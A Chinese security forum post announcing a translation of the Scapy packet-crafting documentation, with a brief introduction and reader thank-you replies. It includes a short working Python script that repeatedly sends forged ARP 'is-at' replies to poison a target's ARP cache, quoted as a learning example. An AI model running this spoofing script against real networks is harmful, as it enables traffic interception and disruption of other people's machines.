当前位置:WooYun(白帽子技术社区) >> 英文文档翻译 >> Scapy中文使用文档

Scapy中文使用文档

Larry | 2015-10-25 17:35

Scapy中文文档Github地址:https://github.com/Larryxi/Scapy_zh-cn

经常用Python搞网络协议编程的同学肯定对Scapy很熟悉。Scapy是一个Python应用程序,它可以使用户发送,嗅探,剖析和伪造数据包,也可以用来构造探测,扫描或攻击的网络工具。

和其他的网络工具相比,Scapy的特殊之处在于:
1. 大多数的网络工具都是用于特殊目的,你不能用来做一些作者没有预想到事。(废话)而且当你需要用于其他目的的时候你又要寻找另一个新工具了。(编程)
2. Scapy只是解码而不是解释。很多时候他们都把解码和解释混为一谈,解码出来的是真正在网络上传输的数据,而解释是又加了一层人的理解,每个人的目的和理解的角度不同,就有可能得到不同的结果,也就让想要打破砂锅问到底的你追求不到本质。(溯源)
3. 有些程序给原始数据也给得不全,因为还是有一些作者意识在上面。(完整性)

所以想要透彻地理解网络协议就得去看实实在在的数据包,对这些数据包进行分析理解,加上你的“解释”去编程,相信是会有更加深层次的理解的:)

一个简单的例子(from:Python网络攻防之第二层攻击):

#!/usr/bin/python
import sys
import time
from scapy.all import sendp, ARP, Ether    

if len(sys.argv) < 3:
    print sys.argv[0] + ": <target> <spoof_ip>"
    sys.exit(1)    

iface = "eth0"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]    

ethernet = Ether()
arp = ARP(pdst=target_ip,
                psrc=fake_ip,
                op="is-at")
packet = ethernet / arp    

while True:
        sendp(packet, iface=iface)
        time.sleep(10)


因为要学习Scapy,所以就把使用文档简单翻译了一下,也算是文档翻译了吧,希望对学习的同学有所帮助,如有错误还请指出哈。

分享到:
  1. 1#
    回复此人 感谢
    crown丶prince (我用双手成就你的梦想) | 2015-10-25 18:22

    感谢分享!

  2. 2#
    回复此人 感谢
    Mr .LZH (‮……肉肉) | 2015-10-25 22:18

    well done

  3. 3#
    回复此人 感谢
    汉时明月 (‮......核审在正长超名签 :) | 2015-10-26 16:26

    虽然不会,还是感谢分享

  4. 4#
    回复此人 感谢
    啊L川 (我想起那天下午夕阳下的奔跑,那是我逝去的青春...) | 2015-10-26 16:45

  5. 5#
    回复此人 感谢
    李旭敏 (˿̖̗̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏̐̑̒̓̔̕) | 2015-10-27 17:30

    正好需要,不过好多地址打不开,是被墙了么

  6. 6#
    回复此人 感谢
    crown丶prince (我用双手成就你的梦想) | 2015-10-27 20:36

    抱歉精华给晚了,我一直在观察这个帖子,本来想早些给精华的,我本人也很喜欢英文,知道翻译一篇文章的难度,个人认为一篇优秀的翻译是足以给精华的。但是当时的想法是只有我一个人觉得不错可能太片面了,看到大家对这篇翻译的反响都很好,立即使用了版主的权利:)
    另一方面,也是我可能做的举动会影响以后“英文文档翻译”领域的发展,比如在乌云这个自由的平台,咱们板块版主的精华到底怎么给,所以希望你理解了,最后,重要的事情再说一遍,感谢分享!

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录